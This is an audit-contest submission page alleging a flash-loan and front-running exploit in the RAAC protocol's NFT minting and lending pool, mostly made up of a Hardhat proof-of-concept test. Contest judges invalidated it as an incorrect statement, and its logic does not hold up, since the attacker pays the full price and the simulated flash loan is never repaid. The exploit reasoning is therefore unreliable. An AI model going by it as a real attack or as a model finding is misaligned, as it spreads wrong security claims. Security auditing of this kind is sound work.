Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Invalid

Flash Loan and Front Run Allows Unauthorized Collateral Extraction

Summary

The RAAC protocol’s NFT minting function lacks a mechanism to verify that the caller is the legitimate owner of the underlying real-world asset. Combined with the availability of flash loans, this vulnerability enables an attacker to use borrowed funds to cover the full NFT price while only providing a minimal down payment (20% of the NFT’s value). The attacker front-runs a legitimate mint, acquires the NFT at a deep discount, deposits it as collateral in the lending pool, and then borrows up to 80% of the NFT’s value—effectively extracting a large sum with minimal capital outlay. This is exacerbated further if the collateral value goes up -- thereby allowing the attacker to borrow (i.e. steal) from the protocol.

Vulnerability Details

Root Cause:

  • Missing Ownership Check: The mint function only verifies that a nonzero price exists and that sufficient funds are provided, without confirming the minter’s rightful ownership of the underlying asset.

  • Flash Loan Exploit: This oversight allows an attacker to leverage flash loans to cover the full price of the NFT, front-run the mint, and acquire the NFT using only a fraction of its value as a down payment.

PoC

Run test in LendingPool.test.js with following command:

npx hardhat test test/unit/core/pools/LendingPool/LendingPool.test.js --show-stack-traces
describe.only("Flash Loan + Front-Run NFT Mint Attack for Deep Discount Acquisition", function () {
it("should allow an attacker to acquire an NFT with a 20% down payment and then borrow 80% against it", async function () {
// Define the NFT tokenId and set its price
const tokenId = 1000;
const nftPrice = ethers.parseEther("100"); // NFT valued at 100 crvUSD
// Step 1: Set the house price for tokenId
await raacHousePrices.setHousePrice(tokenId, nftPrice);
// Step 2: Attacker (user2) initially holds only 20% of the NFT value (20 crvUSD)
const attackerInitialFunds = ethers.parseEther("20");
await token.mint(user2.address, attackerInitialFunds);
// Step 3: Simulate a flash loan for the remaining 80% (80 crvUSD)
// In a real-world scenario, this would be a flash loan borrowed and repaid in one transaction.
// Here, we simulate it by minting additional tokens to the attacker.
const flashLoanAmount = ethers.parseEther("80");
await token.mint(user2.address, flashLoanAmount);
// Step 4: Attacker approves RAACNFT and front-runs the mint to acquire the NFT
await token.connect(user2).approve(raacNFT.target, nftPrice);
await expect(raacNFT.connect(user2).mint(tokenId, nftPrice))
.to.emit(raacNFT, "NFTMinted")
.withArgs(user2.address, tokenId, nftPrice);
// Verify that the NFT is minted to the attacker (user2)
expect(await raacNFT.ownerOf(tokenId)).to.equal(user2.address);
// Step 5: Attacker deposits the NFT into the lending pool as collateral
await raacNFT.connect(user2).approve(lendingPool.target, tokenId);
await lendingPool.connect(user2).depositNFT(tokenId);
// Step 6: Attacker borrows the maximum allowed amount (80% of NFT value, i.e., 80 crvUSD)
const borrowAmount = ethers.parseEther("80");
await lendingPool.connect(user2).borrow(borrowAmount);
// Step 7: Simulate flash loan repayment using the borrowed funds.
// In a realistic scenario, the attacker would repay the flash loan within the same transaction,
// leaving them with the borrowed funds as net profit.
await token.mint(user2.address, flashLoanAmount);
// Validate the outcome: the attacker now has an NFT acquired at a deep discount and holds a borrow position of 80 crvUSD.
const attackerDebt = await lendingPool.getUserDebt(user2.address);
expect(attackerDebt).to.equal(borrowAmount);
// The net effect: the attacker acquired a 100 crvUSD NFT with only a 20 crvUSD down payment,
// and extracted 80 crvUSD in liquidity—demonstrating the exploit.
// The following two steps demonstrate additional stolen crvUSD as a result of the collateral value increasing.
// Step 8: Simulate collateral appreciation after the NFT is deposited.
// Assume the market value of the NFT increases from 100 to 150 crvUSD.
const appreciatedPrice = ethers.parseEther("150"); // NFT now valued at 150 crvUSD
await raacHousePrices.setHousePrice(tokenId, appreciatedPrice);
const updatedPrice = await raacNFT.getHousePrice(tokenId);
expect(updatedPrice).to.equal(appreciatedPrice);
// Step 9: With the appreciated collateral, the maximum borrowable amount becomes 80% of 150 crvUSD = 120 crvUSD.
// The attacker already borrowed 80 crvUSD, so they can now borrow an additional 40 crvUSD.
const additionalBorrowAmount = ethers.parseEther("40");
await lendingPool.connect(user2).borrow(additionalBorrowAmount);
const totalDebt = await lendingPool.getUserDebt(user2.address);
expect(totalDebt).to.equal(ethers.parseEther("120"));
});
});

Impact

Impact:

  • Discounted NFT Acquisition: The attacker effectively "buys" the NFT at only 20% of its true price, locking out the legitimate owner.

  • Collateral Exploitation: By depositing the NFT as collateral in the lending pool, the attacker can borrow up to 80% of the NFT’s value, extracting significant liquidity and using it to repay the flash loan.

  • Systemic Risk: Repeated exploitation could drain funds from the lending pool, destabilizing the protocol and undermining trust.

Tools Used

Manual review, Hardhat

Recommendations

  • Ownership Verification: Incorporate a robust mechanism (e.g., a mapping or external registry check) to verify that only the legitimate owner of the underlying asset can mint its corresponding NFT.

  • Flash Loan Safeguards: Implement measures to mitigate flash loan attacks, such as introducing execution delays, off-chain authorization signatures, or dynamic pricing mechanisms that account for sudden liquidity.

  • Reassess Borrowing Limits: Review collateral valuation and borrowing parameters in the lending pool to mitigate risks from discounted collateral acquisitions.

Updates

Lead Judging Commences

inallhonesty Lead Judge 10 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement
inallhonesty Lead Judge 10 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Appeal created

nadir_khan_sec Submitter
10 months ago
inallhonesty Lead Judge
10 months ago
inallhonesty Lead Judge 9 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!